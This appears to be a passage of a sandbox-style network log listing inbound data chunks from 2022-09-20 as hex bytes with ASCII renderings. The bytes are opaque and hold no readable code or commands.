8f 73 d4 6f 56 de 7d 8e 7a 96 cd 1d 49 99 c8 0d 9c 9b fa 8f c8 b5 c2 95 45 b6 23 af 2c 60 d0 98 53 06 0c 1a ad 03 0e 15 
74 c8 23 72 75 d7 b6 36 24 52 75 2f 18 85 fc c6 e1 03 54 9d b0 a3 35 13 a9 a8 0b b7 1f ee f6 2b 6f 3f 0a c9 34 5d dd 24 
d3 0c 11 66 24 ce 61 33 92 10 fb de 4c 00 4d 27 cc bd b0 
Data Ascii: )2C 2CX@i+vd8:tV~3\(kDVw7$rFh$gxvqPe:a&4rQ+;TB^BD:Y,r9GsoV}zIE#,`St#ru6$Ru/T5+o?4]$f$a3LM'

2022-09-20 10:10:08 UTC 731 IN Data Raw: 07 17 f1 05 56 4c ee 87 2b ee b1 72 1e c7 15 6b b5 33 50 ce 15 6b 85 90 02 3e 96 16 43 0a 6e 57 19 5c 03 b6 
ab 4d ae c1 2d 3e 5c 03 57 51 ab 8d b1 8c 7f 44 13 dd 1a cb b0 74 cc 92 97 64 93 6b 60 dd 71 04 ca fd f7 17 15 db ee 06 
be 80 2f af 4d 7c c1 2d 02 5f c0 1b 67 13 5f 60 81 f9 b9 a0 9f 2b 9a 03 5f f0 6b 9c f9 26 be e0 16 91 d3 c0 67 fb 3e 7a d7 
9e 27 a7 c1 d5 e4 86 44 f9 ba 8a 5a 1d 70 0d 78 a8 43 ae c1 2a 8e 49 64 a3 16 26 d1 8a ef bb f6 54 bd 6b 83 9f 48 8f a6 
9b f3 80 84 c0 33 3f 24 21 dc 62 4f fa 37 14 1b f5 19 39 25 e4 8a e6 0f 22 c1 15 3d ac 35 e8 fe 30 c5 5a 81 9d c0 e6 73 c8 
4e 40 df 2e 1f e1 d6 b7 8b 46 7d 3f a8 3e 02 05 b8 ea b1 a1 e6 32 b5 ae 76 6c 00 54 41 87 22 54 e1 16 01 55 88 9f 16 6a 
c6 06 40 15 74 28 42 15 6e 11 50 85 18 b9 83 a2 b9 
Data Ascii: VL+rk3Pk>CnW\M->\WQDtdk`q/M|-_g_`+_k&g>z'DZpxC*Id&TkH3?$!bO79%"=50ZsN@.F}?>2vlTA"TUj@t(B
nP

2022-09-20 10:10:08 UTC 739 IN Data Raw: 62 d9 04 50 dc 22 00 14 7c 32 6c 02 28 6e 71 26 60 d8 15 cd 01 a0 50 ad 08 a0 d8 c8 bb cd 33 df 5b af a2 0d 
00 05 db d5 26 80 62 df 77 a8 f5 6b d9 7c 4c 85 f9 01 99 22 3e 20 a1 c2 fc b4 c4 d9 41 b1 5d 9d 9e 64 6e 57 f4 18 89 b3 
73 45 8f 99 0b db ba a2 07 00 14 7c 4d 1c 02 28 10 f3 62 01 1b dc 63 eb c5 72 1e 00 85 2b 37 af 9f 4f 46 66 ba da b1 01 
64 8a 30 87 aa b1 01 64 8a 68 0c 50 33 36 80 4c a1 3d 48 a6 b8 45 c4 c9 c4 fb 1c 8a e6 0f 99 c2 15 cd 41 a6 88 5f 10 8a 
e6 20 53 fc 49 73 92 29 ac 98 91 cb ae b8 07 90 15 7f d1 83 c8 8a 6d 13 3a f9 20 83 8a 5a 15 84 c3 c4 83 0c 6a 73 03 16 
7e fe e9 4b 8a 7b 20 4e 86 1e 85 71 32 56 b4 cf 41 ed c1 7c 1c 2b 5a 27 2e f7 60 27 ce 92 9a 85 a7 75 c5 3d 46 46 66 ba 
62 ad 9c 33 c1 0d e4 4c dc 22 38 13 fc 69 0b 39 13 b7 88 
Data Ascii: bP"|2l(nq&`P3[&bwk|L"> A]dnWsE|M(bcr+7OFfd0dhP36L=HEA_ SIs)m: Zjs~K{ Nq2VA|+Z'.`'u=FFfb3L"8i9

2022-09-20 10:10:08 UTC 747 IN Data Raw: f7 10 aa 60 b0 c6 55 b3 56 a7 e9 c6 39 80 2a f0 17 3c 5d ef 8f 33 12 4e e7 8a b5 02 54 e1 bf a2 25 1e 42 15 
6e 11 83 1c 7c 26 1e 0d 72 14 ac 8c 9e 87 22 54 c1 06 8a f7 f3 a4 3e 84 2a d8 98 71 cb 2e 32 54 e7 86 5c a8 05 2a 7e f3 
8a 55 b2 23 5a c4 d5 8c 0d b6 ba 34 4f b0 62 75 e9 d8 00 3e 43 5c 12 28 7a 80 cf 10 7d 67 a8 1d 1b 7a 4e d1 b9 62 75 
67 66 ac bb a2 39 68 0b 71 e6 50 71 28 ac b0 a8 43 15 d2 16 4e c5 02 84 da a3 90 b6 70 8b a0 2d c4 4f 6b 2a 9e 89 b5 
38 6d 81 7b 90 b6 60 45 fb 1c 8c f1 ab 2a 46 e3 2d f6 64 fc ba 62 ad 80 61 88 07 19 14 f7 98 19 f0 e7 8a b5 b2 d5 ab 74 
11 b1 7a 55 6c 00 9f 21 3e bc a0 58 2b f0 19 7e e6 99 93 cf 70 6a f5 b1 8c a8 6e d5 58 46 ad e0 33 c4 c3 12 2a cc b1 1a 
8c 2e 62 25 9f c1 26 e5 7b 7e 59 42 85 39 96 0c d1 79 54 66 a5 
Data Ascii: `UV9*<]3NT%Bn|&r"T>*q.2T\*~U#Z4Obu>C\(z}gzNbugf9hqPq(CNp-Ok*8m{`E*F-dbatzUl!>X+~pjnXF3*.b%&
{~YB9yTf

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 755 IN Data Raw: 63 98 85 1d ac 82 ec 5e fd e6 53 c3 22 05 29 b9 fa 05 67 e5 97 e5 2d f6 ec 41 42 55 6e 00 53 96 87 d2 40 ca 
2d 6a 9a 23 14 3d 90 bb c4 ab 3b 1b 3f 52 6f b1 13 d3 1e 8a e6 00 cd c4 37 83 29 de 6a 13 e1 49 bc 56 73 b0 db 77 4f 68 
70 f1 aa 50 ac 15 40 33 aa d5 62 b7 ef 36 8a f1 bc 3f e6 1e 3a 73 80 66 74 a8 c3 6e 5f 59 e0 c9 f0 36 58 1f 76 fb ee 83 cb 
6e 67 fe b4 ab e8 76 5e 80 c0 f0 91 b1 2a bb 7d f7 6d a5 79 ce 50 93 1b 90 0e fc cb 97 14 f7 40 dc 12 1b c3 ea 7a d1 2f 
60 63 b4 47 d7 fb 7c 01 1b c3 db 60 0d 76 14 ef 4f bc e6 73 a8 c9 8e e2 fd ca 5b 24 c4 86 a2 39 c6 64 7e 8c c6 b0 34 26 
63 ef d0 92 17 71 6d f6 20 41 c6 d4 60 0d c8 98 51 2b 67 e3 f2 1e dc 1a 93 b9 45 90 a0 ff fc 92 aa dc 80 f9 0f ed c1 8f ed 
fb 9e 7e df e7 bb e8 7d be ab a6 33 43 f1 50 ed e9 
Data Ascii: c^S")g-ABUnS@-j#=;?Ro7)jIVswOhpP@3b6?:sftn_Y6Xvngv^*}myP@z/`cG|`vOs[$9d~4&cqm A`Q+gE~}3CP

2022-09-20 10:10:08 UTC 762 IN Data Raw: 79 88 2f 5a 2c 97 dc 82 f1 c2 bc 11 d6 61 6b 26 20 18 ef 5f 5f 54 6c a2 0d b0 8e 78 2c 41 85 79 03 93 e3 3b 3d 
c8 e4 b0 43 56 61 e0 5c d1 63 65 cc 9d b7 1e 7a 20 6f 82 27 d8 98 37 61 c5 a6 30 12 57 3c c1 93 59 bf 50 bc 56 1d 4c 0e 
9a 77 32 39 6e 11 4c 0e 5e dd 4e 26 47 b1 f0 99 7c 58 5a f8 0c 5b 62 07 93 83 4d b4 93 c9 51 8a 83 47 e3 13 a7 08 3c 
6a c5 8c 1c 70 45 0f 24 6d b0 95 74 26 6d 58 b1 6b 4c df 55 9c 60 07 ac 83 ad a4 13 d6 61 45 bb 07 7f fd ed 4b 4a 7b 3c 
6f 35 28 56 17 d9 1c 3e 83 05 a5 6b 35 33 ae cf 15 ab 7b c6 d3 76 3b c7 32 ee fd fb 49 aa bc ab ca 0d 76 0f 7e fb f1 4b 8a 
7b 94 4c 00 73 15 1e 03 78 8f 7f fd fa 45 c5 5a 8d 07 d6 e1 2a ce 63 00 d6 c1 7b 70 10 d6 71 8b 80 75 f0 37 1f 84 75 14 
eb c2 b5 c7 9c b0 0e 7f 2a e5 d3 67 10 d6 61 2b 84 2c 
Data Ascii: y/Z,ak& __Tlx,Ay;=CVa\cez o'7a0W<YPVLw29nL^N&G|XZ[bMQG<jpE$mt&mXkLU`aEKJ{<o5(V>k53{v;2Iv
~K{LsxEZ*c{pqu7u*ga+,

2022-09-20 10:10:08 UTC 770 IN Data Raw: 9f ce 24 fe 6a 60 02 1b 81 8c 5a 0d 8e 1a 58 71 d4 fc 3d 06 e7 cf 1d 43 9f e6 83 29 f9 d5 6e a1 a9 d7 04 54 98 
0f 4c 93 f3 b2 0f 4e 93 57 4b 8a 7e da d5 60 4a 7e b5 01 fa 36 74 75 07 53 f2 6d 8d c9 a2 88 46 28 b6 ab 61 63 61 b9 c7 
62 07 cb b2 28 9f e7 d5 60 ae be 05 78 65 4a 8c ab 30 9f 4f ae be ab 30 9f c8 d5 e7 79 4c e6 ea 57 cb ae ca 0f 2f a8 30 9f 
c8 d5 a7 c7 64 ae 7e b5 34 1f eb 15 c5 45 9c cc d5 af 96 88 a2 68 43 57 34 47 ae 3e 7f da c9 5c fd 6a 29 06 95 93 93 ae 
68 8e 5c fd 78 a5 42 d1 1c b9 fa f2 60 ae 7e 2d 0b b9 fa bc 9d 17 73 f5 7d 21 81 a3 67 fb 62 ae 7e b5 08 e3 9e cf 92 c5 d9 
f0 6a 01 b8 73 a9 31 2c 26 f1 d7 e2 bc 3e 56 57 bc 3e cb 8e cc 24 7e 57 34 47 88 39 1b 9c 40 7e 96 41 89 69 f2 df be a4 
e8 81 10 73 d5 8a 21 e6 56 4c 1e 19 14 db ee 5a 
Data Ascii: $j`ZXq=C)nTLNWK~`J~6tuSmF(acab(`xeJ0O0yLW/0d~4EhCW4G>\j)h\xB`~-s}!gb~js1,&>VW>$~W4G9@~Ai
s!VLZ

2022-09-20 10:10:08 UTC 778 IN Data Raw: c1 56 32 89 93 b8 45 e0 24 f8 00 98 c4 49 58 a7 6f 6b d2 db 15 cd 81 93 e0 fd 31 89 93 68 98 94 d1 90 05 26 
65 c2 7c 7d 9e 4f 35 a8 30 5f e5 3c 8f 8c 45 9c c4 2d 02 27 11 dd 0c a8 30 5f c0 49 fc eb d7 2f a9 30 5f c0 49 f0 22 2e e2 
24 9a 45 eb 64 c7 1d 8a e6 88 1c 50 ad a6 de 1f 0b b9 19 d1 89 83 a2 39 38 13 da 83 9c 89 5b 04 67 42 7b 90 33 61 c0 
dd d2 1e 8f a3 1b 67 7f 9e ee 12 e6 a9 a2 ba 1b 38 09 b6 ab 4d 9c 84 75 a2 aa 42 87 5c 85 c7 06 4e 82 bf f9 26 4e e2 16 
47 7d 5e c2 9b 38 89 5b 04 4e 82 4f 86 4d 9c c4 2d 02 27 c1 56 22 20 e1 2d ee 5c 00 c8 15 cd 81 93 f8 81 b5 22 4e a2 59 
42 fe 39 6a bb 87 38 89 5b 04 1c 82 d5 3d 84 43 d8 f0 41 32 20 5c 85 c7 01 03 e2 af 68 ed 87 0c 88 66 2b b4 97 7c 00 1c 
66 41 18 96 64 f4 7c d1 1f 82 1b 9a 2d e3 9d 23 45 50 71 
Data Ascii: V2E$IXok1h&e|}O50_<E-'0_I/0_I".$EdP98[gB{3ag8MuB\N&NG}^8[NOM-'V" -\"NYB9j8[=CA2 \hf+|fAd|-#EPq

2022-09-20 10:10:08 UTC 786 IN Data Raw: 02 5c f8 43 bd 0c 70 e9 76 e6 f9 27 7f 8f 97 5b 2f 1d e7 65 ea e5 05 15 a5 6a a0 91 f0 e9 36 d2 48 3a 0e 03 d1 
0c 00 8a b7 7a 33 2c 0d 8a 6d 17 c8 ce b4 41 4c 49 07 69 68 65 0e 62 4a 3a 42 cb b5 fe 80 62 a9 80 29 e1 43 6c c4 94 
74 78 18 6a ee 03 b7 42 1a 07 a6 84 5d ad 11 53 d2 b1 61 96 dd b9 11 53 d2 f1 72 d7 ca 0b 2a 8c f7 27 83 cc 5c 85 f1 0e 
4c 09 9f 6e 27 a6 c4 bc 7a 57 4e 26 a0 c2 78 ef f9 95 cc 15 8d 83 46 c2 96 d8 49 23 31 ee 1b 78 fa cc 41 1a c9 4d 82 46 
c2 a7 2b e4 6a 37 7f 2b a1 1e 5c d1 f8 49 9e be ab 30 ee 9c 54 16 57 9c d4 6e 2f a2 36 f4 74 07 a1 23 37 f9 66 64 18 14 
9b e8 68 19 19 e6 2a 8c 8f 91 ac 62 57 34 0e b6 08 c7 dd 41 b6 c8 4d ae 74 43 74 45 e3 85 2d 02 c5 06 37 c0 16 f9 7b 8c 
89 83 6c 11 8b f2 7f 72 f6 0a 15 c6 27 d8 22 b1 65 01 15 
Data Ascii: \Cpv'[/ej6H:z3,mALIihebJ:Bb)CltxjB]SaSr*'\Ln'zWN&xFI#1xAMF+j7+\I0TWn/6t#7fdh*bW4AMtCtE-7{lr'"e

2022-09-20 10:10:08 UTC 794 IN Data Raw: 78 73 ea d0 b7 2f a9 30 de 40 1d 62 cd 1b a9 43 e3 e3 64 6e fe b4 22 73 df 24 9c bf f8 d3 36 3a 7f dd e4 48 c4 
a7 2b 1a 07 75 e8 ef ff fa 92 a2 71 50 87 7c e3 d7 15 8d 83 3a f4 33 4b 45 ea 90 d1 27 6c e1 fe 07 6f 45 ea 90 81 28 92 
3a e4 2a 8c f7 27 03 56 5d 85 f1 0e ea d0 7f c5 d3 ed a4 0e 0d 3b 84 f1 2d b7 a2 57 98 25 73 ea ec 8a c6 db 2e dd a0 33 
b6 6f 58 f0 cf cc f1 aa d3 f9 eb 26 47 f2 77 5d d1 c6 cc 15 bd 2b 16 17 d4 21 dd 8a d4 a1 01 f7 c4 6c d4 9d 1e 5b 37 79 
92 bf eb 2a 8c 0f 38 66 b1 89 0e 3a 66 dd 24 70 44 3f 46 3d 06 71 44 16 89 6e 0b 77 c7 43 b9 8a 52 8d 91 11 0a ae 68 63 
d6 8e 33 a6 3a ce 58 f9 e9 d7 15 6f 05 b8 10 47 ea 41 b8 10 20 89 e7 a8 5d 0d c2 85 ee 7a a3 9c af e6 2a 8c 4f a0 82 f8 
43 4d a2 82 6e b2 65 2c 80 ab b0 31 81 0a fa 91 b7 22 
Data Ascii: xs/0@bCdn"s$6:H+uqP|:3KE'loE(:*'V];-W%s.3oX&Gw]+!l[7y*8f:f$pD?F=qDnwCRhc3:XoGA ]z*OCMne,1"

2022-09-20 10:10:08 UTC 801 IN Data Raw: b7 64 13 94 84 d3 41 d1 f8 2a de b8 50 2c 6e 3d 3f 0a 8a c6 e1 a4 c3 8e 33 e5 a4 73 16 40 33 7c 24 4b a0 19 
fb 60 9e 54 47 a8 30 be de 99 31 d5 50 61 dc c6 fc c3 29 a7 29 3e f6 55 d1 34 50 51 aa 05 34 4d cc e1 a0 58 2a 6c ef 70 
6a 90 80 e1 fb 6a b6 3d e4 3f ff f6 25 45 e3 80 d9 b0 f9 2c c1 6c 8e 23 89 65 5c 1b 42 f7 bd 5e be f0 42 b1 82 d8 29 52 0e 
ed 14 9d 85 20 33 e5 50 90 d9 4d ae dc ba 87 62 a9 c0 c5 e1 ab 68 89 8b 73 9c 3c 1c f3 c4 93 e4 e1 b3 6b 90 19 54 94 
6a e3 c4 29 36 ea ad 13 a7 ee 78 b1 33 f4 0d 8a 36 e0 08 c4 76 b5 e5 08 04 d0 6d 31 ae bd a5 9b b4 25 72 e6 e0 12 f9 
38 60 98 fd 3c 01 c3 67 03 98 13 8e 40 50 b4 b1 f0 59 36 1a 03 56 26 71 61 17 9f 3b 28 da d8 05 55 0a 15 f5 38 40 ec b0 
82 47 88 9d 73 9e 72 a0 86 29 d6 c3 c9 c3 bc 55 92 87 6f b2 
Data Ascii: dA*P,n=?3s@3|$K`TG01Pa))>U4PQ4MX*lpjj=?%E,l#e\B^B)R 3PMbhs<kTj)6x36vm1%r8`<g@PY6V&qa;(U8
@Gsr)Uo

2022-09-20 10:10:08 UTC 809 IN Data Raw: f8 0b 6e 01 73 f6 7e 0b 72 15 2a 8c 6f 50 6e 58 aa 2d ca 8d 95 a9 f4 c1 ad 50 ab 9b b4 e5 2b 7f da 2d fc cd 0e 
ae 33 2f 08 7f 03 37 e4 7c ab 6d 31 6b cc 37 6d 6a 87 05 8a a5 02 b3 46 c6 c5 ac b1 33 0a d3 7d 0f 2a 8c 1f 80 66 62 4b 
0f 2a 8c 9f b7 70 52 4d b1 ed 9e 66 8b d1 88 70 83 0a e3 a7 82 66 76 a2 95 b7 a3 95 59 8f 44 2b df 24 bc 77 be 7d 49 e9 
56 65 31 6a 31 f1 6c 0c 07 cc 9a 6f b4 21 66 0d 3c b3 e5 10 0b cf 6c e6 00 81 86 1d e7 88 40 63 67 14 e6 6a 1b ca 4b 75 
d7 4d 2d f7 64 a0 5e 5e 28 e0 b8 93 30 66 3c 5c 15 17 0f f7 c3 0b 2d 7d 58 a0 66 5c c0 36 95 6c 68 9b ea 38 41 39 de b5 
27 09 ca e7 03 b7 9e f8 3d a0 58 aa 91 c7 ed ba 62 3d 70 66 d8 df 69 83 67 86 dd 24 08 34 ca 21 02 0d bc d8 4f 16 77 0d 
d5 03 68 9a 78 15 41 f1 56 00 cd c4 4b 18 2a 8c 3f 00 
Data Ascii: ns~r*oPnX-P+-3/7|m1k7mjF3}*fbK*pRMfpfvYD+$w}IVe1j1lo!f<l@cgjKuM-d^^(0f<\-}Xf\6lh8A9'=Xb=pfig$4!Owh
xAVK*?

2022-09-20 10:10:08 UTC 817 IN Data Raw: b3 65 66 7a 47 43 d1 38 b6 f4 74 2b 6d e9 f9 12 92 db 54 be 84 e4 05 5b 1b 04 59 15 8a a5 02 c7 2b e2 26 7c 
15 17 17 c0 f1 e2 b3 9a e2 78 d9 3a 21 e7 ed 50 2c 15 00 5f 6c 57 53 80 2f 9f d7 6a d0 17 eb 7e d9 24 ec 2d 15 14 e0 cb 
5e 4b 19 9d 09 15 c6 d7 5b 1c ad 6d 7c 65 1f 5c 95 e3 05 15 36 16 9c d8 68 7c c9 89 cd 0a 72 72 52 b4 c4 f1 5a 86 99 c8 
29 8e 61 26 68 03 80 2f 0e 7d 4b 80 af fb bf 14 64 1e 54 d4 63 c3 c1 8c 36 b6 1c cc 2c fe f7 d1 ae 1a d4 e4 85 12 52 09 
15 36 b6 03 be c2 c6 56 48 a5 1d 52 9a 91 c5 50 34 de f3 3c 61 57 bc 15 00 5f 2c ee 16 e0 6b ed 59 be d1 43 b1 b8 ab 7c 
a3 87 62 71 41 fe e2 8b 45 e4 7a 7b 38 65 19 0e 15 c6 0f c8 5f b4 71 44 fe ba 0f dd d6 e7 7c 15 1d 91 bf ee f3 b7 99 7e 
ac 39 a1 c2 f8 c1 1e 19 2b 78 b4 47 b6 9c 5c cf 87 28 72 
Data Ascii: efzGC8t+mT[Y+&|x:!P,_lWS/j~$-^K[m|e\6h|rrRZ)a&h/}KdTc6,R6VHRP4<aW_,kYC|bqAEz{8e_qD|~9+xG\(r

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 825 IN Data Raw: 1c fe a0 c2 f8 83 4d 27 d6 e3 d1 a6 d3 1d f7 8a ab 0a 14 8d cf b2 a8 86 a2 71 f0 c8 be b1 b8 e4 91 19 20 7c 66 
e8 1b 14 8d 9f b2 a8 86 0a e3 7e 80 43 0c 32 53 07 38 58 b2 84 79 4c 1d e0 70 93 8f cd 00 be f3 c2 c3 19 c0 7c 11 07 c9 
47 f2 2a 0e f2 26 4b 0c 16 54 d4 e3 75 b4 d9 bf be a8 5e e6 80 77 9b 4a 25 ef b6 9b 2c 0e e3 50 34 0e e6 19 9f d5 4b e6 
d9 4d 82 79 c6 47 f2 92 79 76 93 60 9e a9 1e 64 9e dd e4 2a d1 cb 53 e7 34 6c db 00 ba 8d fa 5f bf 7d 49 d1 f8 29 5f aa 
a1 c2 78 03 c1 8c 36 1a 09 66 db 82 01 33 9e 13 2a 8c c3 77 28 73 90 47 66 4e 9d e5 43 15 54 18 6f e0 91 f1 21 36 f2 c8 
6e 72 e6 a9 88 ae 68 1c 3c 32 3e c4 46 1e d9 4d 82 47 c6 c7 ae c3 15 2c 09 ef b6 bf be a4 78 2b 84 54 fe 5d 39 38 d9 be 
ef 6c 9c 7f 1e 0f b1 c9 ed ed be be f3 fc 73 57 91 e3 
Data Ascii: M'q |f~C2S8XyLp|G*&KTu^wJ%,P4KMyGyv`d*S4l_}I)_x6f3*w(sGfNCTo!6nrh<2>FMG,x+T]98lsW

2022-09-20 10:10:08 UTC 833 IN Data Raw: 4a a4 6b 1d 3c eb f6 fb d1 9d 45 30 22 70 e3 12 c9 ab 4f 4f 7f b8 da d7 4e 22 46 24 e5 03 c6 1a af 25 23 8d 35 
4f 97 8e 90 18 20 29 1f c8 22 f8 7f f5 ac 86 b3 08 46 4e 84 be 3d 39 80 a4 7c 20 4e d8 0b d9 70 9c 70 24 33 1d d7 5e f4 
47 cb 0f e4 e8 87 19 17 c8 ca c7 e1 10 1b c8 13 8e a5 12 b2 bb 19 c3 fb cc fb 38 8c ca 84 04 24 1d 13 7e 64 96 98 e9 47 
56 27 12 f9 f9 e9 4e 27 f2 7b 48 64 df 93 c3 1f 90 9b ea c7 55 0a 90 ba 1b 46 b5 a5 24 17 f0 2e f1 2c 41 c2 a5 5c 90 a7 d3 
f2 ad ca 6a 05 56 9e d5 0a 1e f2 34 a4 00 49 f9 62 92 3d cd 92 95 c1 a4 70 68 dc cf 6a 39 c9 5e 84 63 23 c9 9e e6 ee ca 
40 cf 67 7e 5d db 21 16 c8 3a c6 2e fc 4c 64 1d 48 80 e7 71 2c 27 c0 5b b1 70 ed b8 09 20 ea 68 08 46 f6 00 81 a6 18 48 
80 27 1d 40 c5 8c 9d 04 86 c8 4d c1 90 a2 5d 78 20 
Data Ascii: Jk<E0"pOON"F$%#5O )"FN=9| Npp$3^G8$~dGV'N'{HdUF$.,A\jV4Ib=phj9^c#@g~]!:.LdHq,'[p hFH'@M]x 

2022-09-20 10:10:08 UTC 841 IN Data Raw: c9 0f b1 76 1f 5f e3 b0 74 e7 da 0e e4 ee ce e3 72 12 de 30 6e 0a a9 9b 74 8e 02 72 af 60 5b 92 81 ee ae 69 
5b 7a c8 d5 0e e5 cb bb be 1b 75 25 f2 21 b6 f4 10 ba 99 10 dd 8f bd a5 35 2a 8a 62 5e b9 93 09 e4 5f b0 c1 43 28 25 d2 
43 e8 66 0a 75 af 70 4e a1 0e 72 1c ab 4f 4b d7 a1 c8 52 b4 ef b6 23 4b 91 1f 62 43 7a 28 af 0c ad f8 ec 7c 47 4a a7 b4 
6c 07 f2 ab d6 ee b1 2d 13 40 ee 15 6c 64 fe a1 5a da c8 c2 c7 7f db 64 80 ac a3 df fb 2a 1e c8 4d 9d a6 b0 bb a5 29 2c 
62 12 7b 1a c9 81 3c c0 11 db da 2f 6e ea 39 2d b9 bb 48 28 a5 5b 19 20 2b 9f f7 de 85 c3 03 ca 12 2b c3 36 85 a4 a3 23 
a1 94 bb db df 3e 9f df 1d 79 a3 fc d8 fb e5 f3 f9 dd 91 37 4a 47 19 20 29 ef c8 1b e5 47 d2 6f 9f cf 9f 9d 4b db 06 53 20 
2b 47 de a8 7f 5b 79 f3 f9 fc 66 fe 76 2f af ce df 1e 
Data Ascii: v_tr0ntr`[i[zu%!5*b^_C(%CfupNrOKR#KbCz(|GJl-@ldZd*M),b{</n9-H([ ++6#>y7JG )GoKS +G[yfv/

2022-09-20 10:10:08 UTC 848 IN Data Raw: 64 e5 c8 d9 9f 12 ca d9 1f e4 b6 d0 0b 49 62 20 ba c6 12 43 d1 35 41 22 27 87 96 57 20 8d 63 c0 10 ef c9 30 
9a 37 13 ca 5c ef 01 3a 73 7d 77 ba 79 2b 77 ba f9 ee ac f2 fe a1 9c 55 be 3b 79 bc 67 a2 93 c7 77 27 8f 77 af 9c 3c be 
3b 47 3c 32 15 f6 9d 23 3e c8 1b 37 d5 5f 5f 89 2c 81 00 b0 3f f5 10 a7 02 c0 82 44 5c 91 bb 3b 15 57 14 24 9c d2 ff b0 f2 
95 eb d5 ba d2 54 4c e4 5f 70 b5 34 b1 0a 49 c7 42 6c 9f ce 51 40 d2 b1 56 16 83 11 a2 0e 65 18 d7 7b 9e 19 c6 83 bc d7 
3e 15 55 a7 93 08 12 c9 53 f4 e2 00 75 31 ce 3d 1c 10 94 c7 c9 a5 fb 0a 82 88 0f f1 8a 1c a4 2e 52 27 24 89 89 53 11 1f 
3b 11 94 47 a1 70 b8 72 e1 b4 4d 54 c8 b8 b1 55 e3 b3 62 11 70 ea 68 0d 1b 16 76 97 88 3a c2 0b 25 77 00 44 d2 31 69 
f7 f9 e7 95 88 3a 62 50 f6 81 14 ea 64 5c 58 f4 35 0e a0 
Data Ascii: dIb C5A"'W c07\:s}wy+wU;ygw'w<;G<2#>7__,?D\;W$TL_p4IBlQ@Ve{>USu1=.R'$S;GprMTUbphv:%wD1i:
bPd\X5

2022-09-20 10:10:08 UTC 856 IN Data Raw: f0 a2 de da 40 fa 05 ef ba 6f 97 84 d4 54 45 ea bf 94 50 ea bf 11 27 df 98 ed 1e 60 bf 3c db 23 24 f6 de ca bb 
f2 c3 8d 77 7b 23 a8 e9 4f 76 17 88 3a 60 8c 52 48 25 91 1e 62 a7 a5 48 3f 54 b7 a5 e8 21 17 fc 13 7f e6 fb 01 d4 cd 88 
0b 37 bd 1f 40 94 78 e6 e4 f2 b9 56 88 dd 1d 9d 6e 0b 1c 07 10 7f 8f b1 70 07 a9 df 23 90 96 8c 59 60 42 fa c8 f7 03 88 
3a 54 d3 5b 12 59 d3 1b 64 86 35 0b 15 33 da 7e 9d b3 a6 37 c8 e9 52 86 42 55 0c b8 3a fe f6 f9 95 c8 3a 60 b2 48 09 99 
2c 82 84 85 3e 75 c8 42 1f 24 4c 16 29 21 93 05 c8 bc 5d 22 d2 3b a8 f2 e0 29 21 cb 04 c8 8c a9 16 52 53 88 26 4b 89 b1 
fc 8d 7a c8 b1 17 4b 20 f5 6a 22 51 99 25 a6 12 95 81 cc e2 d2 44 9a 25 33 3c 81 d7 96 28 ad 27 63 da 58 23 a4 67 35 
11 33 9a 12 8a 19 05 99 d5 3c 84 ac 1c ee 7b 29 21 f7 bd 
Data Ascii: @oTEP'`<#$w{#Ov:`RH%bH?T!7@xVnp#Y`B:T[Yd53~7RBU::`H,>uB$L)!]";)!RS&KzK j"Q%D%3<('cX#g53<{)!

2022-09-20 10:10:08 UTC 864 IN Data Raw: e3 37 25 56 2e 19 f0 0a f9 d7 df 5f cd e8 7e cf fb 3b cf b5 42 6a aa 47 56 d9 6c 2a 50 35 23 f6 89 9e 57 9d 97 
de 20 51 b6 2b 9b 62 d9 2e 92 e5 78 07 03 4d 33 5a dd cb 92 77 00 20 c7 31 e1 54 e8 0b 24 b6 06 7e 56 de 1a 80 f4 05 
a8 91 95 a3 02 98 a7 a8 2a 80 91 9c c7 b3 92 3d 11 64 77 f4 80 50 3e 2b 6c 26 52 42 9b 89 20 b9 67 b0 84 f6 0c 41 66 
05 30 23 4b 20 0a 22 9b 62 14 04 48 44 41 64 77 19 05 11 24 77 00 96 f0 0e 20 48 ee 00 a4 dc 3b 80 20 cb b9 b6 7b 07 
00 72 1d bf f9 a0 af 01 48 24 3d fc 62 c6 9d 6b 3b 43 30 7e fb ef 2b 91 95 23 ce 2b 75 dc b9 e8 b3 2e 59 ea a8 b9 e8 b3 
ca 58 4a 30 e7 00 49 27 4f 31 b2 04 dc de 52 82 6e 6f 20 e1 9d 80 8f b0 90 bb 3b af 63 32 8c 99 0b 32 13 5d 7e f9 fa 4a 
64 89 75 ae d4 63 e5 4a 3d 98 d5 f1 c3 2b 91 9b 42 78 f6 96 c8 
Data Ascii: 7%V._~;BjGVl*P5#W Q+b.xM3Zw 1T$~V*=dwP>+l&RB gAf0#K "bHDAdw$w H; {rH$=bk;C0~+#+u.YXJ0I'O
1Rno ;c22]~JducJ=+Bx

2022-09-20 10:10:08 UTC 872 IN Data Raw: 57 87 67 26 91 9b 1a c7 6c ef 69 cb 88 b4 24 c7 27 b5 67 8a 84 20 8f 0d 0b 90 c7 01 eb 47 ea b0 f5 a3 c5 de 
6c 1e 3a 54 21 0f 64 4d 77 18 a0 6a 1d 47 1a 06 22 eb 80 93 e7 96 58 9e 25 f4 16 b1 44 7a 8b 04 39 32 64 0c 48 af 5a 
67 c2 ce 94 50 c2 4e 90 35 bd d5 89 f4 ac ee 36 8f b9 7b db 15 38 ca 7e c7 45 15 c3 6e 88 ba 19 c7 46 18 c8 4d 21 d4 ea 
73 32 66 76 77 1c 5f 1c 20 4b a0 92 80 67 e2 3d bd 61 e9 a7 73 0b 91 95 cf 6d 6f 27 d2 00 eb 7b a7 5b 21 9a 66 6c 5b 38 
91 7a 45 db 52 4a d8 b6 f4 90 f0 7b 4d 09 fb bd 46 cd d8 7d 85 4d 64 06 ae b0 2d d1 7c 85 1d d9 33 f7 21 8e a8 9b b1 af 
b0 03 e5 dc 6d eb 9c bb 6d e5 dc ed 3b e9 3a 91 e7 2e ed 25 7e 88 69 2f 89 8d d6 38 5e b5 ee 68 a7 87 44 d6 88 6c ca 
59 23 82 6c 73 8f 3c b3 46 3c 24 f6 0c 29 91 7b 86 b8 25 3b 06 
Data Ascii: Wg&li$'g Gl:T!dMwjG"X%Dz92dHZgPN56{8~EnFM!s2fvw_ Kg=asmo'{[!fl[8zERJ{MF}Md-|3!mm;:.%~i/8
^hDlY#ls<F<$){%;

2022-09-20 10:10:08 UTC 880 IN Data Raw: cf 5f 5e 89 2c d1 8f 95 1a 68 9a 81 da 4e ff 98 e1 05 19 6e fa 2b 9b aa 33 7f a8 33 e4 18 c8 e3 60 18 ad 9f 55 
